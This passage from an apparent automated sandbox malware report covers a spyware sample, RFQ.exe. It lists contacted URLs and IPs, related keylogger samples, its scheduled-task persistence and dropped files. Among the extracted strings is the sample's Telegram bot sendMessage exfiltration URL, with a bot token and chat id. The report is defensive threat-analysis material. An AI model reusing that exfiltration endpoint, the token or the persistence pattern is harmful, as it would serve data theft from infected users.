http://crl.godaddy.com/gdroot-g2.crl0F	wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://certs.godaddy.com/re=	wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
https://api.telegram.org/	RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp	false		high
http://certificates.godaddy.cn	wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.godaddy.com/gdroot.crl0F	wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.god	wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=67324	wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://certificates.godaddy.com/repository/gdig2.crt0	wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RFQ.exe, 00000000.00000002.894062078.0000000002601000.00000004.00000800.00020000.00000000.sdmp, wOPQRmK.exe, 00000008.00000002.935973086.000000000248E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/=	wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.godaddy.com/gdrooW	wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
162.55.60.2	showip.net	United States		35893	ACPCA	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1635323
Start date and time:	2025-03-11 15:32:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RFQ.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/57@2/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 98% Number of executed functions: 174 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.199.214.10, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RFQ.exe, PID 2724 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:33:10	API Interceptor	3503x Sleep call for process: RFQ.exe modified
10:33:11	API Interceptor	36x Sleep call for process: powershell.exe modified
10:33:14	API Interceptor	3471x Sleep call for process: wOPQRmK.exe modified
10:33:42	API Interceptor	2x Sleep call for process: svchost.exe modified
15:33:12	Task Scheduler	Run new task: wOPQRmK path: C:\Users\user\AppData\Roaming\wOPQRmK.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	http://magazinescontest.ct.ws/en/3	Get hash	malicious	HTMLPhisher	Browse
	https://rebrand.ly/8fca12	Get hash	malicious	HTMLPhisher	Browse
	#rfq=O250116 - #U304a#U3088#U3073#U8cfc#U5165#U5951#U7d04- Offer Z01G-00008D SUPPLY - H64PO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PO202503S.xlsm	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	New Order RFQ- 19A20060.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	ja811MqV4h.exe	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse
	SHIPPING ADVICE#2025.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	BL-INVOICE DOCUMENTS.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rDatosbancarios.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	4kobC6KGC3.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
162.55.60.2	X15glP1XfU.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	TS49UGNgXz.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	tKkZNPNh8F.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	bRDuulMXKo.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	z7bBMsMZef.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	vLLXeM62fH.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	icDqXxvqLV.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	PxqkTfjSA9.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	JsP9yi4SPp.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Informaci#U00f3n bancaria incorrecta.exe	Get hash	malicious	DarkCloud	Browse	showip.net/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
showip.net	X15glP1XfU.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	TS49UGNgXz.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	tKkZNPNh8F.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	bRDuulMXKo.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	z7bBMsMZef.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	vLLXeM62fH.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	icDqXxvqLV.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	PxqkTfjSA9.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	JsP9yi4SPp.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Informaci#U00f3n bancaria incorrecta.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
api.telegram.org	http://magazinescontest.ct.ws/en/3	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://rebrand.ly/8fca12	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	#rfq=O250116 - #U304a#U3088#U3073#U8cfc#U5165#U5951#U7d04- Offer Z01G-00008D SUPPLY - H64PO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO202503S.xlsm	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	New Order RFQ- 19A20060.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ja811MqV4h.exe	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	SHIPPING ADVICE#2025.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	BL-INVOICE DOCUMENTS.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rDatosbancarios.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	4kobC6KGC3.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	http://magazinescontest.ct.ws/en/3	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	publicpublicpublic.xll.ps1	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	https://rebrand.ly/8fca12	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	#rfq=O250116 - #U304a#U3088#U3073#U8cfc#U5165#U5951#U7d04- Offer Z01G-00008D SUPPLY - H64PO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO202503S.xlsm	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	New Order RFQ- 19A20060.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ja811MqV4h.exe	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	SHIPPING ADVICE#2025.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	BL-INVOICE DOCUMENTS.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rDatosbancarios.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
ACPCA	X15glP1XfU.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	TS49UGNgXz.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	CQDNwLUdY4.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	tnZI8EzSx3.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	tKkZNPNh8F.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	bRDuulMXKo.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	z7bBMsMZef.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	vLLXeM62fH.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	0t7MXNEfCg.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	icDqXxvqLV.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	PAGOS RETRASADOS.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	N4533DWG.exe	Get hash	malicious	FormBook	Browse	149.154.167.220
	rDatosbancarios.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	rDatosbancarios.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	4kobC6KGC3.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	hKYhCefzJK.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	p7wgyD3kbI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	G1T823UHou.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067277009651639
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq8:2JIB/wUKUKQncEmYRTwh0o
MD5:	FEB4E1D45FC7D0F7BFEE8A43DE665B28
SHA1:	8224D8E96EEDFBCCDF5A3EE109F2AFD7A38EDB7A
SHA-256:	53BAD76D8DDF283B6AA5443A75A684C4CAC91DEF2CAA41DCC7ACD230880F1649
SHA-512:	D7B72F16AF6E5CA63062B03F69982326F8DCC4D5E6AD99FBA6F46768ED0DC71F8705F34DA98C7400282FBE9440C6EFF4527EDF936B07F68179F3EEA7FF3582D4
Malicious:	false
Reputation:	low
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf96fe347, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899999653639747
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:DazaPvgurTd42UgSii
MD5:	DB8E5CBCAAF994C4AE7F58206CA81E93
SHA1:	38552983BA8A5517DF0DF3F80BC8A99642BB1843
SHA-256:	4F3941CDF99E144653D0AE4E2EC85E8968AA48BFDEC8082A1A73F9F065220E71
SHA-512:	EB0411BDDD1643BA14ED288262578FB5DFA292D58A98C6FFAB7AD19F845C088310399E87EA40685F3A2388B6F5A5D0F647D166961A4956662BE3095C7B836ACD
Malicious:	false
Preview:	.o.G... ...............X\...;...{......................0.`.....42...{5.!...}-.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................F...!...}-..................fe.*!...}-..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08232479483117672
Encrypted:	false
SSDEEP:	3:6XYe4CuAxt/57Dek3JtB28qllEqW3l/TjzzQ/t:izZR3ttwmd8/
MD5:	F8AEC21B21EB149EED15B4183A926F33
SHA1:	39DC11BE9F5F547F96FCC57143E464948BD62F56
SHA-256:	D467C450CE211705DFA29D3724F6CC34573A6B7F3807E2BEA03B85942E19F30C
SHA-512:	7298414E4FDF132D8972E75CA0497EAD6B5BC25BE89328F61303E32FCCB6C265AD46CB3D87C22A70B6213EB85735C4B53BC88F69397E5918F8F208354B879AFE
Malicious:	false
Preview:	.@Z......................................;...{..!...}-.42...{5.........42...{5.42...{5...Y.42...{59.................fe.!...}-.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFQ.exe.log

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wOPQRmK.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\wOPQRmK.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380192968514367
Encrypted:	false
SSDEEP:	48:+WSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugeC/ZPUyus:+LHyIFKL3IZ2KRH9Oug8s
MD5:	E3EC01FAB7E327602A9550342FA73464
SHA1:	7F06C78BA2496A8DDB3DDCD63BAF741CB8C84886
SHA-256:	4ECCD285FCD821659092ADB47638B559656F97512183BA76AEE2760D531273C5
SHA-512:	B66B707510DE1B0AA29F65F1C99BDEEBDC4D34EC3D9950B62E17058D2E5B1599C85A09EC056F1C4BCE019213485F1E3D7E9D68651890A853819F98DBF2492407
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\WBa07284

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	13728
Entropy (8bit):	7.828388330470101
Encrypted:	false
SSDEEP:	192:Z4d4uybsxnfCKnfCm7MwP7MwXnm7nmL4OnNUCDJJJHKxTOKxTLUaN8WLUaN8W5N:Z4d4uybG7z7f7nMsxNUCdnGhfNFNt
MD5:	49982FBFCBC8A3AE726F07BFF8D07CA3
SHA1:	CC90B0734C07205448F60F9453B74296DCEF3B88
SHA-256:	27BF3EA958BCCA92F35B1EA8D9A2BC4AED14AB980BA468C5790FCF3F000D7D0F
SHA-512:	C6DFD695E1D42C3491F6DB033BF500B37429B01E50F22D78E4F3D27CF042B747971466CDC0626179B13816014BF223544CC512BC9199011522941A5E9DB42F56
Malicious:	false
Preview:	PK.........LgZ...s............Files/BJZFPPWAPT.docx..I.@!.D......8..t....#.@.P.....~].....A786.g.....cf..K.^..0.].p....H..[..Tb..v........4C..?Nw....r.P....Z=...A8).....FF.vc.4....>Z.4.......D".?#l...R).+f.]K.=.4.].^E5W....[........c.W.^}s..hn.3..O.jHj..R....\|.......QAk.!.........F.....;.5.zi....<....'..O....9..Un.:.x>..6..n...Ch...c.IuT..F..#.8.r3..T-g&.S.\...Q.u!..A..g.......(...."..0}Y..`..V...mu...3w...(.ob...........x....@.f... ....0...l.'.....M.H..\|i.9j.&Tq...s..f.}.{I.o.%...GE....G.M"..NxV..S..j....,.`.1].h7..:....X...L[.>k...s.../....E...<t}..3.y4.n..R.G.v.J+....N3...._.K.w{.x.._}.lc...JT{...W`...W[).L/.....a.&U....ggNgA.w.V......(..?PK.........LgZ...s............Files/BJZFPPWAPT.xlsx..I.@!.D......8..t....#.@.P.....~].....A786.g.....cf..K.^..0.].p....H..[..Tb..v........4C..?Nw....r.P....Z=...A8).....FF.vc.4....>Z.4.......D".?#l...R).+f.]K.=.4.].^E5W....[.*.......c.W.^}s..hn.3..O.jHj..R....\|.......QAk.!.........F...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52hx5dec.3dj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bxfbpscd.ikj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cu4zldub.luw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jru1cj4k.1xo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4lwvlhh.0ko.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxnqs4kz.tvz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nf2wryw0.thh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
